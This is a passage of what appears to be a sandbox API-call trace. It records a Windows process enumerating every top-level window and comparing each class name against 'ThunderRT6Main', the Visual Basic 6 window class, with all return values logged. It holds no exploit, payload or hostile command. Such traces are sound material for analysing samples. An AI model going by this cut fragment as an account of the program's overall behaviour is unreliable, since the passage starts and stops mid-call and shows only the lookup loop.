lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.609] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0118.609] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0118.609] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.609] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0118.609] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0118.609] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0118.609] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0118.609] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0118.609] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.609] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0118.609] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0118.609] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0118.609] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0118.609] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0118.609] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0118.609] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.610] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.610] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0118.610] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0118.610] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0118.610] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0118.610] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0118.610] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0118.610] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.610] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.610] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0118.610] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0118.610] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0118.610] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0118.610] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0118.610] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0118.610] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0118.610] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0118.610] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0118.611] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0118.611] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.611] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0118.611] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0118.611] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0118.611] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0118.611] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0118.611] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0118.611] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.611] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0118.611] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0118.611] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0118.611] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0118.611] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0118.611] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0118.611] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.611] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0118.611] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0118.612] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0118.612] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0118.612] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0118.612] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0118.612] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.612] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.612] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0118.612] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0118.612] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0118.612] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0118.612] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0118.612] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0118.612] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.612] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.612] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0118.612] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0118.612] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0118.612] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0118.612] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0118.612] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0118.612] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.613] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0118.613] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0118.613] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0118.613] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0118.613] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0118.613] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0118.613] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.613] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0118.613] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0118.613] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0118.613] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0118.613] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0118.613] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0118.613] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.613] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0118.613] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0118.613] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0118.613] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0118.614] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0118.614] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.614] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0118.614] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0118.614] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0118.614] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0118.614] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0118.614] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.614] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0118.614] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0118.614] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0118.614] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0118.614] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0118.614] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.614] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.614] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0118.615] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0118.615] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0118.615] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0118.615] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0118.615] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0118.615] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.615] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0118.615] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0118.615] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0118.615] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0118.615] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0118.615] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0118.615] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.615] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0118.615] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0118.615] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0118.615] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0118.615] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0118.615] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0118.616] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.616] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0118.616] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0118.616] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0118.616] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0118.616] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0118.616] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0118.616] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.616] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0118.616] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0118.616] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0118.616] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0118.616] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0118.616] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0118.616] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.616] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0118.616] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0118.616] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0118.616] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0118.617] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0118.617] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0118.617] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0118.617] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0118.617] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0118.617] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0118.617] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0118.617] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0118.617] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0118.617] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0118.617] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0118.617] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.617] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0118.617] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0118.617] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0118.618] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0118.618] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.618] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0118.618] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0118.618] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0118.618] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.618] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0118.618] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0118.618] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0118.618] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.618] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0118.618] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0118.618] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0118.618] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.618] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0118.618] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0118.618] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0118.618] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.618] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0118.618] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0118.619] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0118.619] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0118.619] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.619] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0118.619] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.619] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0118.619] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0118.619] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.619] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0118.619] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.619] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0118.619] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.619] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.619] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.619] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0118.619] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.620] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0118.620] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0118.620] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0118.620] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.620] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0118.620] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.620] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0118.620] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0118.620] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0118.620] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0118.620] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0118.620] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.620] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.620] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0118.620] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0118.620] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0118.620] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0118.621] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0118.621] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0118.621] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.621] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0118.621] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0118.621] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0118.621] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0118.621] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") 